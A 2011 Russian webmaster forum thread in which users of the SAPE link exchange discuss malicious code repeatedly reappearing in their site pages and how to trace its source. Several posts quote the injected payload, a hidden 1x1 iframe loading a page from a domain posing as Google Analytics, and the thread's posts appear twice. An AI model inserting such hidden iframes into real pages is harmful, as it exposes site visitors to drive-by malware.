Вирусный код в html-коде всех страниц. Не от САПЫ ли? вред: CG-GOOGLE-ANALYTICS.ru - Страница 2

Invasion · 30.09.2011, 00:53

Похоже новая атака на Сапу.

Салоед · 30.09.2011, 01:03

Так а делать-то чего? Блин, вычистил сайты, сменил пароли, а код все равно устанавливается на страницах. Чуть ли не в режиме реального времени видно.
При чем заражаются только старые сайты. Сайт добавленный месяц назад - чистый.

Invasion · 30.09.2011, 01:07

А как в коде это выглядит?

Diamond · 30.09.2011, 01:08

Дальше разбираться не стал. NOD кричит, поглядеть внутренности не дает.
Рисковать не стал. Заменил пароль, перезалил сайт из архива. Но очень странно всё это.. Уж не утечка ли паролей? Длина пароля была 18 символов.

Салоед · 30.09.2011, 01:16

Вот такая вот фигня на страничке появляется:

<iframe frameborder=0 height=1 width=1 scrolling=no src='http://a.cf-google-analytics.ru/main.php?page=09607b3072273d90'> </iframe>

Diamond · 30.09.2011, 01:46

Можно ли внепланово обновить ссылочки на статике? Бо послетали, а ждать походу несколько дней, если верить факу.

Цитата:

Кроме этого, предусматривается периодическое (раз в несколько суток) полное обновление всех страниц с блоками ссылок.

sin · 30.09.2011, 02:32

Я вчера и сегодня проверил файлы собственно ФТП-робота и файлы сайтов, домены которых мне скидывали ранее - ничего подозрительного не нашел. Никаких левых включений в мой код. Мне лично источник проблем не ясен.

Посмотрите, на каких именно страницах есть такой код, только на тех, где последнее время менялись ссылки, или и на других (напр, на тех, на которых не продаются ссылки)? Как этот левый код связан с блоками Сапе? Он в них или за пределами блоков ссылок? Обратите внимание, что бот в штатном режиме может менять только кусок HTML кода с тегами для ссылок, и ничего за его пределами.

ЕСли сбросите домены в личку, посмотрю конкретно по каждому сайту. Так же и с полным обновлением - нужно знать домен.

Цитата:

Сообщение от Diamond

Заменил пароль, перезалил сайт из архива. Но очень странно всё это.. Уж не утечка ли паролей?

Ну раз Вы имеете возможность поменять пароль, значит, не все так плохо. Кстати, в целях безопасности его стоит время от времени менять (не забывая про сохранение новых реквизитов в настройках).

Добавлено через 2 минуты

Цитата:

Сообщение от Салоед

а код все равно устанавливается на страницах. Чуть ли не в режиме реального времени видно.

Ищите левые скрипты на своем серваке в этом случае.

SergejF · 30.09.2011, 02:36

Цитата:

Сообщение от Салоед

Вот такая вот фигня на страничке появляется:

в каком месте страницы он появляется?

Салоед · 30.09.2011, 02:48

После тега <body>

sin · 30.09.2011, 02:50

+ еще такой момент хотелось бы выяснить: пораженные сайты только на платных хостингах (где есть поддержка скриптов), или есть и на хостингах типа народ.ру (где железно скрипты НЕ работают)? Какие хостинги?

30.09.2011, 01:08	#14
Diamond Мастер Регистрация: 15.11.2007 Адрес: ∼∼BlackSea∼∼ Сообщений: 586 Вес репутации: 221	Дальше разбираться не стал. NOD кричит, поглядеть внутренности не дает. Рисковать не стал. Заменил пароль, перезалил сайт из архива. Но очень странно всё это.. Уж не утечка ли паролей? Длина пароля была 18 символов. __________________ Рекомендую VPS. Последний раз редактировалось Diamond; 30.09.2011 в 01:16.

30.09.2011, 02:50	#20
sin Модератор Регистрация: 29.10.2007 Сообщений: 1,313 Вес репутации: 238	+ еще такой момент хотелось бы выяснить: пораженные сайты только на платных хостингах (где есть поддержка скриптов), или есть и на хостингах типа народ.ру (где железно скрипты НЕ работают)? Какие хостинги? __________________ @ Подключение к Сапе статических сайтов (в т.ч. бесплатных хостингов) по FTP без скриптов К бирже статей можно подключиться без скриптов, по ФТП (для статики).

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Код google analytics	vasilchenko	Разработка и сопровождение сайтов	3	28.05.2011 22:54
Объединение Google AdSense и Google Analytics	magura888	Google, MSN, Yahoo	10	23.11.2009 23:23
Google Analytics	Bessel	Google, MSN, Yahoo	2	22.05.2008 00:20
Вставка кода сапы в несколько сотен HTML-страниц	leszkin	Курилка	6	15.09.2007 12:52
Google AdSense & Google Analytics	tpnetman	Контекстная реклама	12	20.06.2007 02:36

30.09.2011, 00:53	#11
Invasion Эксперт Регистрация: 29.11.2008 Адрес: Odessa Сообщений: 2,322 Вес репутации: 301	Похоже новая атака на Сапу.

30.09.2011, 01:03	#12
Салоед Специалист Регистрация: 15.10.2010 Сообщений: 462 Вес репутации: 185	Так а делать-то чего? Блин, вычистил сайты, сменил пароли, а код все равно устанавливается на страницах. Чуть ли не в режиме реального времени видно. При чем заражаются только старые сайты. Сайт добавленный месяц назад - чистый.

30.09.2011, 01:07	#13
Invasion Эксперт Регистрация: 29.11.2008 Адрес: Odessa Сообщений: 2,322 Вес репутации: 301	А как в коде это выглядит?

30.09.2011, 01:16	#15
Салоед Специалист Регистрация: 15.10.2010 Сообщений: 462 Вес репутации: 185	Вот такая вот фигня на страничке появляется: <!--a8998e--><iframe frameborder=0 height=1 width=1 scrolling=no src='http://a.cf-google-analytics.ru/main.php?page=09607b3072273d90'> </iframe><!--/a8998e-->

30.09.2011, 02:48	#19
Салоед Специалист Регистрация: 15.10.2010 Сообщений: 462 Вес репутации: 185	После тега <body>